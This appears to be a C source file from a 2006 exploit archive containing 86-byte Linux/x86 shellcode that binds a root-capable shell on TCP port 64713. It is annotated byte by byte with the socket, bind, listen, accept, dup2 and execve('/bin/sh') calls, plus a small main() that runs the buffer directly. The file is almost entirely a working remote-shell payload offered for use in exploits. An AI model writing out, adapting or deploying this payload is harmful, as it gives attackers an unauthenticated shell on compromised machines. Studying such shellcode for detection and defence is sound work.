86 lines
No EOL
2.1 KiB
C
86 lines
No EOL
2.1 KiB
C
/*
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* linux-x86-portbind.c - portbind shellcode 86 bytes for Linux/x86
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* Copyright (c) 2006 Gotfault Security <xgc@gotfault.net>
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*
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* portbind shellcode that bind()'s a shell on port 64713/tcp
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*
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*/
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char shellcode[] =
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/* socket(AF_INET, SOCK_STREAM, 0) */
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"\x6a\x66" // push $0x66
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"\x58" // pop %eax
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"\x6a\x01" // push $0x1
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"\x5b" // pop %ebx
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"\x99" // cltd
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"\x52" // push %edx
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"\x53" // push %ebx
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"\x6a\x02" // push $0x2
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"\x89\xe1" // mov %esp,%ecx
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"\xcd\x80" // int $0x80
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/* bind(s, server, sizeof(server)) */
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"\x52" // push %edx
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"\x66\x68\xfc\xc9" // pushw $0xc9fc // PORT = 64713
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"\x66\x6a\x02" // pushw $0x2
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"\x89\xe1" // mov $esp,%ecx
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"\x6a\x10" // push $0x10
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"\x51" // push %ecx
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"\x50" // push %eax
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"\x89\xe1" // mov %esp,%ecx
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"\x89\xc6" // mov %eax,%esi
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"\x43" // inc %ebx
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"\xb0\x66" // mov $0x66,%al
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"\xcd\x80" // int $0x80
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/* listen(s, anything) */
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"\xb0\x66" // mov $0x66,%al
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"\xd1\xe3" // shl %ebx
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"\xcd\x80" // int $0x80
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/* accept(s, 0, 0) */
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"\x52" // push %edx
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"\x56" // push %esi
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"\x89\xe1" // mov %esp,%ecx
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"\x43" // inc %ebx
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"\xb0\x66" // mov $0x66,%al
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"\xcd\x80" // int $0x80
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"\x93" // xchg %eax,%ebx
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/* dup2(c, 2) , dup2(c, 1) , dup2(c, 0) */
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"\x6a\x02" // push $0x2
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"\x59" // pop %ecx
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"\xb0\x3f" // mov $0x3f,%al
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"\xcd\x80" // int $0x80
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"\x49" // dec %ecx
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"\x79\xf9" // jns dup_loop
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/* execve("/bin/sh", ["/bin/sh"], NULL) */
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"\x6a\x0b" // push $0xb
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"\x58" // pop %eax
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"\x52" // push %edx
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"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
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"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
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"\x89\xe3" // mov %esp, %ebx
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"\x52" // push %edx
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"\x53" // push %ebx
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"\x89\xe1" // mov %esp, %ecx
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"\xcd\x80"; // int $0x80
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int main() {
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int (*f)() = (int(*)())shellcode;
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printf("Length: %u\n", strlen(shellcode));
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f();
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}
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// milw0rm.com [2006-04-06]
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